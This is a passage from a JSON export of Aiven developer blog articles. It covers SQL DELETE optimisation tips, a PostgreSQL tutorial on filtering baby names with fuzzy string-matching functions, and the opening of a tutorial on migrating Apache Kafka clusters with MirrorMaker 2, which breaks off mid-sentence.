[PostgreSQL](https://www.postgresql.org/docs/current/sql-truncate.html)) is key to ensure the correct operation is used.\n\n**Golden rule**\n\nWhen designing database tables, analyze your needs also in terms of data retention. If a table needs only to contain the “most recent” data, design it with both frequent inserts and deletes in mind.\n\n**Pro Tip**\n\nUsing partitioning, or creating time bound tables (e.g. `SALES_01_2024`) can be a way to speed up deletions since an entire table can be truncated.\n\n\n### Optimize DELETE SQL queries by using table partitioning\n\n**How**\n\nEvolving the previous section, if your aim is to periodically delete data based on known rules, for example depending on a date field, you can use partitioning. Partitioning is available in [PostgreSQL](https://www.postgresql.org/docs/current/ddl-partitioning.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/partitioning.html) to split the data across a number of tables depending on a predicate. If you need to delete the entire subset of the data included in a partition, you can simply truncate the partition itself.\n\n![Table partitioning](https://cdn.sanity.io/images/sczeoy4w/production/cf3970b88babc839b00dad1e3268ba5e8e782088-3200x870.png)\n\n\nThe partitioning predicate could be either by:\n\n* **RANGE**: defining a set of ranges associated with each partition in the table\n* **LIST**: defining a fixed list of values associated with each partition in the table\n* **HASH**: defining the partition based on a user-defined function\n* **KEY**: available in MySQL, provides an HASH partitioning using MySQL hashing function\n\n**Warning**\n\nDespite partitioning being “invisible” from the user (a certain user can query the original table and select data from all partitions), the management of a partitioned table needs to be taken into account. Specifically for LIST partitioning, when a new key is inserted, a proper partition needs to be created upfront.\n\n**Golden rule**\n\nPartitioning can be very useful in contexts where there’s a clear boundary across the dataset in terms of time or other column (e.g. country). Partitioning tables without clear filtering criteria only adds workload to the database, making every query slower.\n\n\n### Optimize DELETE SQL queries by splitting the statements in chunks\n\n**How**\n\nWhen executing a massive `DELETE` operation, divide the amount of data to be removed in smaller chunks by applying additional `WHERE` conditions. With such technique you can obtain a process for easier to track, a faster rollback in case of failures and usually overall better performance.\n\n**Warning**\n\nDividing a `DELETE` operation over multiple smaller statements exposes you to the risk of lacking consistency and missing some rows due to non-overlapping data subsets. Therefore you need to ensure to meet your consistency requirements, and that the set of statements generated contain the whole set of rows that the original query was addressing.\n\n**Golden rule**\n\nSplitting the `DELETE` operation in chunks can be a good method to speed up performance and generate less impact on the database at once. Apply this method if you have a specific set of data with clear boundaries for write and read operations (e.g. `COUNTRY` or `DATE`) that you can use as a splitting key.\n\n\n### Optimize DELETE SQL queries by executing DELETE less often\n\n**How**\n\nIn some use-cases you might want to delete the data every day, for example when needing to delete old data older than 30 days. However, this operation will need to scan the whole table every day. For such use cases you can leverage a combined logic of:\n\n\n\n* Not showing old results with smart `SELECTS` (not retrieving data older than 30 days)\n* Deleting data only when space reclamation is useful (when running out of disk space)\n\nMoreover, in PostgreSQL and MySQL, deleting a small portion of the dataset in a table is not going to lead to significant disk savings, since it will just [generate free space in the pages hosting the table data](https://www.google.com/url?q=https://jfg-mysql.blogspot.com/2017/07/innodb-compaction.html\u0026sa=D\u0026source=docs\u0026ust=1707753160642232\u0026usg=AOvVaw2nUTuUDmp0082dAi2J4oy6). \n\n**Warning**\n\nYou might be legally forced to delete old data on schedule. In this scenario evaluate your data retention needs wisely and plan data deletion accordingly. A smart partition design can help in providing fast deletion statements via truncate.\n\n**Golden rule**\n\nDesign your data retention policies and related deletion statements wisely. Don’t plan for big space savings if you don’t plan to delete the majority of your dataset.\n\n\n### Optimize DELETE SQL queries by not executing the DELETE\n\n**How**\n\nIf you’re deleting most of the data in a large table, it can be much faster to:\n\n* Create a new table\n* Copy the small portion that is still needed\n* Drop the old table\n* Rename the table\n\n![Insert to a new table instead of deleting](https://cdn.sanity.io/images/sczeoy4w/production/79d6bc5a1ba02ab193168f12ad9ae39851a30581-3200x1376.png)\n\n\n**Warning**\n\nWhile this method might be quicker, it involves several operations in the database possibly preventing the normal functionality of the underlying tables. Be careful in understanding if you can perform the entire procedure while keeping the normal database functionality. Also, be mindful that this workaround will not work if you have referential constraints (like foreign keys pointing to some of the keys in the table). \n\n\n**Golden rule**\n\nWorkarounds like the above are ideal in situations where the database load has easy to forecast usage patterns. Performing the process during a low peak of traffic (or when no traffic is there at all) will provide the best `DELETE` performance while minimizing the disruption for the entire database functionality.\n\n\n## Conclusion\n\nOptimizing SQL statements can be a tedious task: you need to deeply understand both the database structures and the type of workload to optimize in order to achieve good results. Moreover, while optimizing a specific workload (for example an `INSERT` statement), you could impact the performance of other queries with different access patterns (like a `SELECT` or `DELETE`). \n\nTo have an holistic view of your data assets and supporting structures, understand performance variations and receive automatic, AI-assisted SQL optimization suggestions you can use [EverSQL by Aiven](https://www.eversql.com/?utm_medium=organic\u0026utm_source=ext_blog\u0026utm_content=aivensqloptimization). The EverSQL sensor, installed on any PostgreSQL and MySQL database, allows you to monitor slow queries and receive performance insights. The AI-driven engine analyzes your slow SQL statements, together with the existing supporting data structures, and provides both index recommendation and SQL rewrite suggestions to improve the performance.\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-02-22T15:15:59.625Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2024-02-19T09:35:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Test reading \"SQL query optimization: a comprehensive developer's guide\" and an Aiven logo","asset":{"_ref":"image-bbe8816829690721b1670cfc73e2a8072bbe0b1b-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/sql-query-optimization-guide"},"subtitle":"An SQL optimization guide for developers. With best practices, warnings, and pro tips to speed up your SQL query optimization.","tags":[{"_key":"b7c75eb42f95","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"3cd3dea77f1f","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"953d045c4ef7","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"},{"_key":"b29051c3e47b","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"4c225570a416","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"55cc08343292","_ref":"5c7142e2-1fa3-4ef2-8da3-c61d402cbb3e","_type":"tag"}],"title":"SQL query optimization: a comprehensive developer's guide"}
{"__i18n_lang":"en","_createdAt":"2023-03-24T15:14:36Z","_id":"2022191a-c1b2-4b3c-9e8f-3caa3a1240e9","_rev":"VeNKqGNmt13PzvGhqsT6mI","_type":"devArticle","_updatedAt":"2024-01-29T15:50:24Z","body":"Naming variables is one of the hardest problems in Computer Science, but when the variable is a new life, the challenge can rise quite significantly. Family names, personal preferences, celebrities, vetoes, word sound, it all goes into the decision mix! Even more, the possible pool of names is huge - and we all know that the traditional \"let's browse for names in a book\" approach doesn't scale anymore with the ever-increasing set of options. \n\nHelp is needed, and this blog post shows how PostgreSQL® can help us refine our search and get us closer to a final selection.\n\n::alert[All choices, decisions, and names used in this example are pure imagination and don't represent any kind of recommendation!]{type=\"warning\"}\n\n\n## Get the dataset\n\nTo start with, we need a dataset of valid names. This post uses [this collection of baby names from data.world](https://data.world/alexandra/baby-names), for which you need a valid account to access the data.\n\nOnce you have created the account, you will be able to download the dataset in a `babynames-clean.csv` file on your local machine.\n\n## Create a PostgreSQL service and load the data\n\nYou can run PostgreSQL locally or, if you prefer, create an instance using Aiven for PostgreSQL® with the [Aiven CLI command](https://aiven.io/docs/tools/cli/service.html#avn-service-create), as shown below:\n\n```shell\navn service create demo-pg      \\\n    --service-type pg           \\\n    --cloud google-europe-west3 \\\n    --plan hobbyist\n```\n\nThe command starts creation of a PostgreSQL service (`--service-type pg`) on the Google Europe West 3 cloud region with the minimal `hobbyist` plan, which is enough for our needs. The service takes a couple of minutes to start, and we can wait for it to be up with:\n\n```shell\navn service wait demo-pg\n```\n\nOnce the service is in `RUNNING` state, we can connect to it with the following command that calls `psql` under the hood:\n\n```shell\navn service cli demo-pg\n```\n\nAfter connecting we need to create a table, since `babynames-clean.csv` doesn't contain any header:\n\n```sql\ncreate table names (name text, gender text);\n```\n\nNow it's time to copy the data:\n\n```sql\n\\copy names from  'babynames-clean.csv' csv\n```\n\nNow the data is loaded in the `names` table and we can start the research of our imaginary baby's name.\n\n## Initial scanning and filtering of the data \n\nOkay, time to choose a name! Is it going to be a boy or a girl? If you already have that information, it's going to cut out half of the options, since the query below shows that we have a more or less equal amount of male and female names.\n\n\n```sql\nselect \n    gender, \n    count(*) nr_names \nfrom names \ngroup by gender;\n```\n\nThe result shows slightly more boys' names than girls'.\n\n```\n gender | nr_names \n--------+----------\n girl   |     3345 \n boy    |     3437 \n(2 rows)\n```\n\nWhat if we don't know the gender yet, and we have almost _seven thousand names_ to pick from? Scanning all of them one by one is not an option. We need to apply some filters.\nDo you have a long surname? It might be nice to save the poor kid from the stress of writing out a long first name as well. Let's filter for names with fewer than 6 characters.\n\n```sql\nselect count(*) from names where length(name) \u003c 6;\n```\n\nWe still have lots of results (2632), so some more pruning is needed ... I personally like names ending with vowels - can we add this constraint? Yes we can, with the help of [regular expressions](https://www.postgresql.org/docs/current/functions-matching.html):\n\n```sql\nselect count(*) from names \nwhere length(name) \u003c 6\nand name similar to '%(a|e|i|o|u|y)';\n```\n\nWith the help of regular expressions we can take it even further, like specifying 1 `l` or 2 consecutive `l`s:\n\n```sql\nselect * \nfrom names \nwhere \n    length(name) \u003c 6\n    and name similar to '%(l){1,2}%(a|e|i|o|u|y)'\nlimit 10;\n```\n\nRegular expressions can only help so much, and we still have too many names in our list. We need some more ways to exclude options.\n\n## Avoid similar names\n\nWe all have names we never want to hear again. Maybe they remind us of someone we don't want to think about, or they're just taken by somebody else we hear about way too often. It's easy to avoid these names, but we can use PostgreSQL's [FuzzyStrMatch](https://www.postgresql.org/docs/current/fuzzystrmatch.html) to go a step further and eliminate anything even vaguely similar. We can install the extension with:\n\n```sql\ncreate extension fuzzystrmatch;\n```\n\nThe extension brings us several functions. The first one, named [Levenstein difference](https://en.wikipedia.org/wiki/Levenshtein_distance), helps us understand how many characters make two strings differ. Let's say, for example, we don't want anything that is written too similar to `Allie`.\n\n```sql\nselect *, \n    levenshtein(name, 'Allie') diff\nfrom names \nwhere \n    length(name) \u003c 6\n    and name similar to '%(l){1,2}%(a|e|i|o|u|y)'\norder by diff\nlimit 10;\n```\n\nReturns\n\n```\n name  | gender | diff\n-------+--------+------\n Allie | boy    |    0\n Altie | girl   |    1\n Alfie | boy    |    1\n Arlie | boy    |    1\n Alvie | boy    |    1\n Alcie | girl   |    1\n Algie | boy    |    1\n Ellie | boy    |    1\n Ollie | boy    |    1\n Alvia | boy    |    2\n(10 rows)\n```\n\nWe can see that the Levenshtein difference between:\n\n* `Allie` and `Allie` is 0 since they are the same string\n* `Allie` and `Altie` is 1 (the `t`)\n* `Allie` and `Alfie` is 1 (the `f`)\n* `Allie` and `Alvia` is 2 (the `v` and `a`)\n\nWe can remove all names with a Levenshtein difference of less than 3, since this helps us avoid names written too similarly to `Allie`.\n\n```sql\nselect count(*)\nfrom names \nwhere \n    length(name) \u003c 6\n    and name similar to '%(l){1,2}%(a|e|i|o|u|y)'\n    and levenshtein(name, 'Allie') \u003e 3;\n```\n\nWe still have 235 rows, but the difference in the number of characters is just the beginning. We don't even want to hear a sound _similar_ to `Allie`! Luckily the FuzzyStrMatch extension brings us another function, named `soundex` that provides the [Soundex code](https://en.wikipedia.org/wiki/Soundex) of a string. Let's try with `Allie` itself:\n\n```sql\nselect soundex('Allie');\n```\n\nThe result is `A400` which, by itself, is not very useful. But FuzzyStrMatch also offers `difference` which, despite the name, provides a Soundex similarity score between 0 (two strings sound different) to 4 (two strings sound the same). If we try with our dataset:\n\n```sql\nselect *, \n    soundex(name) sdx, \n    difference(name, 'Allie') sdx_score\nfrom names \nwhere \n    length(name) \u003c 6\n    and name similar to '%(l){1,2}%(a|e|i|o|u|y)'\n    and levenshtein(name, 'Allie') \u003e 3\norder by sdx_score desc\nlimit 5;\n```\n\nThis shows that `Clay`, `Milo`, `Riley`, `Wiley` and `Rolla` sound a bit too close to our `Allie`.\n\n```\n name  | gender | sdx  | sdx_score\n-------+--------+------+-----------\n Clay  | boy    | C400 |         3\n Milo  | boy    | M400 |         3\n Riley | boy    | R400 |         3\n Wiley | boy    | W400 |         3\n Rolla | boy    | R400 |         3\n(5 rows)\n```\n\nWe want to go for an entirely different sound, so let's remove anything with a Soundex score greater than 2.\n\n```sql\nselect count(*)\nfrom names \nwhere \n    length(name) \u003c 6\n    and name similar to '%(l){1,2}%(a|e|i|o|u|y)'\n    and levenshtein(name, 'Allie') \u003e 3\n    and difference(name, 'Allie') \u003c= 2;\n```\n\n## The final touch: the metaphone\n\nWe still have 115 rows, a few too many to choose from. The final step in the selection could be based on a name of which we like the sound, and therefore we'd like to explore similar-sounding ones. Let's take `Marlo` as an example. To retrieve names that sound similar we can either use the Soundex function again, or we could evolve our approach and use the [Metaphone](https://en.wikipedia.org/wiki/Metaphone) or double metaphone for higher accuracy.\n\n```sql\nselect dmetaphone('Marlo') dmet;\n```\n\nThe double metaphone function returns the `MRL` string. We can use that, together with the Levenshtein difference, to find all strings which vary from it by only one character.\n\n```sql\nselect count(*)\nfrom names \nwhere \n    length(name) \u003c 6\n    and name similar to '%(l){1,2}%(a|e|i|o|u|y)'\n    and levenshtein(name, 'Allie') \u003e 3\n    and difference(name, 'Allie') \u003c= 2\n    and levenshtein(dmetaphone(name), dmetaphone('Marlo')) \u003c=1;\n```\n\nNow we have to parse only 26 rows, and frankly, this is where the hard choices begin. Still, with the help of PostgreSQL, some regular expressions and the FuzzyStrMatch extension, we were able to prune a lot of our possible dataset. \n\nWhich name is best? The final selection is, of course, up to you.\n\n## Ready-to-use functions for string similarity\n\nString similarity is not an easy topic, but luckily the [FuzzyStrMatch extension](https://www.postgresql.org/docs/current/fuzzystrmatch.html) provides a few functions like Levenshtein, Soundex and Metaphone that can help us solve some common problems when comparing texts.\n\nSome further resources:\n* [FuzzyStrMatch](https://www.postgresql.org/docs/current/fuzzystrmatch.html): to understand functions and additional parameters\n* [Pg similarity](https://github.com/eulerto/pg_similarity): another PostgreSQL extension providing a different set of text similarity functions\n* [Pattern matching](https://www.postgresql.org/docs/current/functions-matching.html): to review the details of regular expression usage","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:14:22.264Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"710f49d230e9","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-10-20T08:45:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-cf3804e56ec0a235fb8e7bcdac1bbcef21838170-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/picking-a-baby-name"},"subtitle":"Choosing the name of your new child is really serious, so as a data professional you will naturally want to reach for PostgreSQL®. Find out more below.","tags":[{"_key":"1f67cebdda12","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"ebf6f992ac4f","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"}],"title":"Picking a baby name with PostgreSQL® and FuzzyStrMatch"}
{"__i18n_lang":"en","_createdAt":"2023-03-30T16:42:00Z","_id":"06c7a365-10ed-44d7-a0aa-a2492bd8085a","_rev":"lhvtNBOlLYH5KiQFQ8YjmD","_type":"devArticle","_updatedAt":"2024-01-29T15:45:07Z","body":"## What you will learn\n\nFollow this tutorial and you'll learn all the steps involved in an Apache Kafka® migration:\n\n* Prerequisites: what should you pay attention to before migrating?\n* Syncing data with Apache Kafka MirrorMaker 2\n* Migrating Apache Kafka topic schemas\n* Migrating Apache Kafka ACLs (Access Control Lists)\n* Migrating Apache Kafka consumer group offsets\n* Migrating Apache Kafka clients and connectors\n\n\n## What are you going to build\n\nThis tutorial outlines all common the steps to migrate an existing Apache Kafka® cluster to a new service provider using MirrorMaker 2. \n\nAll migrations are different, but the usual scenario is migrating between on-premises systems to a managed or self-hosted Apache Kafka cluster or vice versa. This tutorial outlines a set of checks, actions and processes to follow to perform a complete migration. \n\nIn this tutorial, we'll be migrating to [Aiven for Apache Kafka®](https://aiven.io/docs/products/kafka), but the steps described should work with any other Apache Kafka service. \n\nWe'll use [MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker) to migrate the data. MirrorMaker 2 is a fully managed distributed Apache Kafka® data replication utility.\n\n:::mermaid\ngraph LR;\n        id1(Source Apache Kafka cluster)-- source alias --\u003eid2(MirrorMaker 2);\n        id2-- sink alias --\u003eid4(Target Apache Kafka cluster);\n:::\n\n::alert[MirrorMaker 2 provides **asynchronous** replication across clusters. To avoid data loss during the migration, you need to ensure that the replication lag is **0** before pointing the new producers and consumers to the target Kafka environment. More information in the [monitor the MirrorMaker 2 replication flow lag](#monitor-the-mirrormaker-2-replication-flow-lag) section.]{title=\"Warning\" type=\"warning\"}\n\n\n## Prerequisites\n\nThe exact migration steps vary depending on the existing source Kafka system. As a general pre-requisite, the source and target system need to have compatible version numbers, feature sets, and connectivity requirements. To break this down further, the tutorial assumes:\n\n* **Client compatibility**: Any client interacting with Apache Kafka must be compatible with the version chosen as migration target.\n\n  ::alert[This guide doesn't include any steps to migrate client versions.]{title=\"Note\"}\n\n* Available **Apache Kafka configurations**: the custom settings needed in the source system should be available as parameters in the target system. \n\n  ::alert[You can find a list of Aiven for Apache Kafka advanced parameters in the [related documentation](https://aiven.io/docs/products/kafka/reference/advanced-params).]{title=\"Note\"}\n\n* Available **Apache Kafka Connect connectors**: if you're planning to migrate a Kafka Connect cluster, review the list of [supported connectors](https://aiven.io/docs/products/kafka/kafka-connect) or check out how to [bring your own Kafka Connect cluster](https://aiven.io/docs/products/kafka/kafka-connect/howto/bring-your-own-kafka-connect-cluster). \n\n* **Connectivity**: the source and target clusters need to be connected via MirrorMaker 2 for the data migration. Moreover, you need to ensure all the clients reading or writing to Apache Kafka can connect to the brokers as well as any self hosted Kafka connect cluster. \n\n::alert[As part of the connectivity check you also need to ensure: \\n - That the **connection bandwidth** is high enough to sync the data between environments. \\n - That the needed networking setups are available in the target Apache Kafka cluster. Some examples on how to define custom networking setups on Aiven: [Firewalls/security groups](https://aiven.io/docs/platform/concepts/cloud-security), [VPC peering](https://aiven.io/docs/platform/howto/manage-vpc-peering), [Privatelink](https://aiven.io/docs/platform/howto/use-aws-privatelinks).]{title=\"Warning\" type=\"warning\"}\n\n## Create an Apache Kafka integration endpoint\n\nThe first step you'll need to perform in the Apache Kafka migration is identifying the source Kafka cluster where the data is migrated from and create a connection to it. \n\n::alert[If you're running Apache Kafka MirrorMaker 2 standalone, you'll need to define the source Apache Kafka cluster in the `mm2.properties` file, as defined in the [MirrorMaker 2 documentation](https://github.com/apache/kafka/blob/trunk/connect/mirror/README.md).]{title=\"Note\"}\n\nIf you're using Aiven for Apache Kafka, you need to define the source Kafka cluster as **External Integration** following the steps below:\n\n\n* Go to the [Aiven Console](https://console.aiven.io/).\n* Click on **Integration Endpoints**.\n  \n  ![The Aiven Console with the integration endpoints option highlighted](https://cdn.sanity.io/images/sczeoy4w/production/6a7ecf263f98c6b3603abe2c9e25255a355e3e45-1646x849.png)\n\n* Select **External Apache Kafka** and click on **Create New**.\n\n  ![The Aiven Console with the option to create an External Apache Kafka integration highlighted](https://cdn.sanity.io/images/sczeoy4w/production/f5ba0b8c454513abe6babd7ff431ad38e3d2bfca-1280x655.png)\n\n* Give the endpoint a **name** (like ``mySourceKafkaCluster``), this will later be used as reference by MirrorMaker 2. Next, list the **bootstrap servers** and the **Security protocol** that need to be used to connect.\n\n  ![The list of parameters (endpoint name, bootstrap servers, security protocol) needed to define an External Apache Kafka integration](https://cdn.sanity.io/images/sczeoy4w/production/191792b1e1af40e8e015bce29c0331cdc9600c3c-1169x378.png)\n\n::alert[The external integration setup does not test the connectivity between Aiven and the source Apache Kafka cluster. Always check if additional firewall rules need to be set up to allow MirrorMaker 2 to access your source Apache Kafka cluster. Aiven can associate [static IP addresses](https://aiven.io/docs/platform/concepts/static-ips) to all services. It could be useful to associate static IP addresses to Aiven for MirrorMaker 2 to narrow down the list of IP addresses allowed to reach the source Apache Kafka cluster.]{title=\"Warning\" type=\"warning\"}\n\n## Create the target Kafka cluster and MirrorMaker 2 instance\n\nNext, create the Apache Kafka cluster to migrate to, and the MirrorMaker 2 instance we'll use to sync the two clusters. \n\nWe'll create these services in Aiven for the purposes of this tutorial.\n\nIn the [Aiven Console](https://console.aiven.io/), create:\n\n* An [Aiven for Apache Kafka](https://aiven.io/docs/products/kafka) service named ``demo-kafka`` for data streaming. This is the target Kafka cluster for the migration.\n* An [Aiven for Apache Kafka MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker) service named ``demo-mm2``, MirrorMaker 2 will be used to stream the data from the source Apache Kafka cluster to ``demo-kafka``.\n\n\n### Create an Aiven for Apache Kafka® service\n\nThe [Aiven for Apache Kafka](https://aiven.io/docs/products/kafka) service is the target cluster for the migration. You can create the service with the following steps:\n\n1. Log in to the [Aiven web console](https://console.aiven.io/).\n2. On the *Services* page, click **Create a new service**.\n\n   This opens a new page with the available service options.\n\n   ![Aiven Console view for creating a new service](https://cdn.sanity.io/images/sczeoy4w/production/9ee46d57b3e145d3b66ae7505c6b482c3269bd67-3276x1624.png)\n\n3. Select **Apache Kafka®**.\n\n4. Select the cloud provider and region that you want to run your service on.\n\n5. Select `business-4` as service plan.\n\n5. Enter ``demo-kafka`` as name for your service.\n\n6. Click **Create Service** under the summary on the right side of the console.\n\n### Customize the Aiven for Apache Kafka service\n\nNow that you've created your target cluster, you need to customize it's functionality. In the **Overview** tab of your freshly created service, you'll see a bunch of toggles and properties. Change these two:\n\n1. **Enable REST APIs**: via **Kafka REST API (Karapace)** \u003e **Enable**.\n\n   ::alert[The **Kafka REST API** allows you to manage and query Apache Kafka via REST APIs. You'll use it to inspect the data in Apache Kafka from the Aiven Console.]{title=\"Note\"}\n\n2. **Auto creation of topics**: via **Advanced configuration** \u003e **Add configuration option** \u003e ``kafka.auto_create_topics_enable``, switch the setting on and then click **Save advanced configuration**.\n\n   ::alert[The ``kafka.auto_create_topics_enable`` setting allows you to create new Apache Kafka® topics on the fly while pushing a first record. It avoids needing to create a topic in advance. To read more about the setting, check the [dedicated documentation](https://aiven.io/docs/products/kafka/howto/create-topics-automatically).]{title=\"Note\"}\n\n3. **Broker Configuration**: ensure you apply all the needed [advanced configuration](https://aiven.io/docs/products/kafka/reference/advanced-params) to the target Apache Kafka cluster.\n4. **Enable SASL** (optional): you can enable [SASL](https://aiven.io/docs/products/kafka/howto/kafka-sasl-auth) via the dedicated configuration option.\n5. **VPC peering** (optional): if you need to deploy the Apache Kafka service within a VPC, you can follow the [related documentation](https://aiven.io/docs/platform/howto/migrate-services-vpc).\n\n### Create an Aiven for Apache Kafka MirrorMaker 2 service\n\nThe [Aiven for Apache Kafka MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker) service syncs the data between the source and target clusters in the migration. You can create the service with the following steps:\n\n1. Log in to the [Aiven Console](https://console.aiven.io/).\n2. Click on the Aiven for Apache Kafka service you created previously, named ``demo-kafka``.\n3. On the *Overview* tab, scroll down until you locate the *Service integration* section and click on **Manage integrations**.\n\n   ![Aiven Console, *Service integration* section and **Manage integrations** button](https://cdn.sanity.io/images/sczeoy4w/production/d68b90444fc1fc6f337322dd3fbfd0dcd9b163ba-1068x141.png)\n\n4. Select **Apache Kafka MirrorMaker** 2.\n\n   ![Aiven Console, list of available integrations](https://cdn.sanity.io/images/sczeoy4w/production/239692b4663dca330479d9ccacf255277b9ac1da-1280x720.png)\n\n5. In the new window popup, select the **New Service** option and click on **Continue**.\n\n6. Give the new service a name, ``demo-mm2``, then select the cloud provider, region, and service plan. Then click on **Continue**.\n\n7. Define the **Cluster alias**, this is the logical name you'll use to define the target ``demo-kafka`` cluster.  Use``kafka-target``.\n\nOnce you follow all the steps, you should see an active integration between ``demo-kafka`` and ``demo-mm2`` named ``kafka-target``:\n\n![Aiven Console, active MirrorMaker 2 integration](https://cdn.sanity.io/images/sczeoy4w/production/50db07cdcfcce59724d1951b841d0107e9087f8f-1336x144.png)\n\n## Create a data replication using MirrorMaker 2\n\nThe next step in the migration journey is to create a data replication from the source cluster to the Aiven for Apache Kafka service named ``demo-kafka``. To create a replication you need to:\n\n* Create an alias for the source Apache Kafka cluster (the target alias ``kafka-target``).\n* Define the replication flow.\n\n### Create an alias for the source Apache Kafka cluster\n\nTo create a MirrorMaker 2 replication flow, first create an alias to point to the source Kafka cluster. You defined the target alias ``kafka-target`` during the creation of the MirrorMaker 2 service, so use that.\n\nTo create the alias with the [Aiven Console](https://console.aiven.io/) you can follow the steps below:\n\n1. Navigate to the MirrorMaker 2 ``demo-mm2`` service page.\n2. Click on the **Integration** tab.\n3. Scroll until you reach the **External integrations** section.\n4. Select **Cluster for replication** within the available external integrations.\n5. Select the endpoint name you defined in a previous step (``mySourceKafkaCluster``) and click **Continue**.\n\n   ![Aiven Console, MirrorMaker 2 alias definition for the external Apache Kafka endpoint integration](https://cdn.sanity.io/images/sczeoy4w/production/094dd3765c68fddb661ebf6dacc86e709debb7e5-1172x327.png)\n\n6. Give the source cluster an alias name, for example ``kafka-source``, and click **Enable**.\n\nOnce the steps are done, you should be able to see the two aliases, ``kafka-source`` and ``kafka-target`` defined as integrations in the ``demo-mm2`` service:\n\n![Aiven Console, MirrorMaker 2 source and target integration enabled](https://cdn.sanity.io/images/sczeoy4w/production/7c33c65ce44d38ebe81deec442b0d5a3c92f9e41-1344x388.png)\n\n::alert[If you experience connection problems to the source or target clusters, the MirrorMaker 2 service overview page shows the following error: ![Aiven Console, MirrorMaker 2 service overview, error message stating that the connection to a target Kafka service is not working](https://cdn.sanity.io/images/sczeoy4w/production/939c844b62dae4cd4613c71691854cb689b64233-1316x89.png) \\n You can also review the service logs by clicking on the **Log** tab.]{title=\"Warning\" type=\"warning\"}\n\n### Start the MirrorMaker 2 replication flow\n\nIn the previous steps you defined MirrorMaker 2 source and target aliases. Now it's time to define the replication flow.\n\nYou first need to identify the set of topics you want to migrate to the new cluster, and create a [Java regular expression](https://aiven.io/docs/products/kafka/kafka-mirrormaker/concepts/replication-flow-topics-regex) that includes them. \n\nFor example, if you want to migrate all the topics starting with ``customer.`` and the ones containing ``.logistic.`` you can add the two regular expressions: ``customer\\..*`` and ``.*\\.logistic\\..*``.\n\n::alert[You can list both topics to be included and excluded in the allow list and stop list.]{title=\"Tip\"}\n\n\nNext, create a MirrorMaker 2 replication flow in the [Aiven Console](https://console.aiven.io/):\n\n1. Navigate to the ``demo-mm2`` service page.\n2. Click on the **Replication Flows** tab.\n3. Click on **Create replication flow**.\n4. Fill in the replication flow details:\n\n   * **Source cluster**: ``kafka-source`` - the alias defined for the source Kafka cluster.\n   * **Target cluster**: ``kafka-target`` - the alias defined for the target Aiven for Apache Kafka cluster.\n   * **Topics**: the [Java regular expression](https://aiven.io/docs/products/kafka/kafka-mirrormaker/concepts/replication-flow-topics-regex) defining which topics to include. \n     \n     For instance\n     \n     * ``customer\\..*`` to include all topics starting with ``customer.``.\n     * ``*\\..europe\\..*`` to include all topics including with ``.europe.``.\n   * **Topics blacklist**: the [Java regular expression](https://aiven.io/docs/products/kafka/kafka-mirrormaker/concepts/replication-flow-topics-regex) defining which topics to exclude. E.g. ``*\\..test`` to exclude all topics ending with ``test.``.\n   * **Sync group offset**: to define whether to sync the topic containing the consumer group offset.\n   * **Sync interval in seconds**: to define the frequency of the sync.\n   * **Offset syncs topic location**: to provide offset translation, MirrorMaker 2 uses the ``mm2-offset-syncs`` topic, that can be located either in the source or sink cluster.\n   * **Replication policy class**: controls the prefix when replicating topics. ``DefaultReplicationPolicy`` sets the topic name in the target Kafka service as ``source_cluster_alias.topic_name`` (prefixing the topic name with the source cluster alias), while ``IdentityReplicationPolicy`` sets the target topic name equal to the source topic name.\n   * **Emit heartbeats enabled**: allow MirrorMaker 2 to emit heartbeats to keep the connection open even in cases where no messages are replicated.\n   * **Enable**: to enable the data sync job.\n\n   The following represents an example of a replication flow setting:\n\n   ![Aiven Console, replication flow details](https://cdn.sanity.io/images/sczeoy4w/production/e12c53543921531c47312252338047cf0bfa4b18-1029x806.png)\n\n::alert[Before starting the replication flow, you might want to manually create the topics in the target Kafka cluster. MirrorMaker 2 replication flow will **not** recreate topics with the same configuration options. This step is specifically important if the topic needs to be [compacted](https://aiven.io/docs/products/kafka/concepts/log-compaction) or if some settings (like partitioning) are key for the correct working of the data pipeline.]{title=\"Warning\" type=\"warning\"}\n\n5. Click on **Create**\n\nAfter following the steps above, you should see the enabled replication flow:\n\n![Aiven Console, MirrorMaker 2 replication flow enabled](https://cdn.sanity.io/images/sczeoy4w/production/6fb6b278a4d0c240844b6b035f2f6654e44bde05-1333x271.png)\n\nBrowsing the target ``demo-kafka`` service, you should see the topics being replicated. The following image shows replication (using the ``DefaultReplicationPolicy``) of the ``kafka-source.customer.clicks`` and ``kafka-source.customer.purchases`` topics together with MirrorMakers 2 internal topics.\n\n![Aiven Console, target Aiven for Apache Kafka with the replicated clicks and purchases topics](https://cdn.sanity.io/images/sczeoy4w/production/3b63fd6e0e87fedf70bb882c7cd6c06a27225112-1364x760.png)\n\n::alert[Once you start the replication flow, MirrorMaker 2 continuously checks for topics matching the regular expression defined. If you create new topics matching the regex in the source cluster, they'll appear also in the target cluster.]{title=\"Note\"}\n\n### Monitor the MirrorMaker 2 replication flow lag\n\nAfter starting the replication flow, MirrorMaker 2 starts moving data between the source and target Kafka clusters in asynchronous mode. To measure how the replication is performing you might want to check the replication lag: the delay in synchronization between the source and target Apache Kafka cluster. Once the lag is `0`, the two 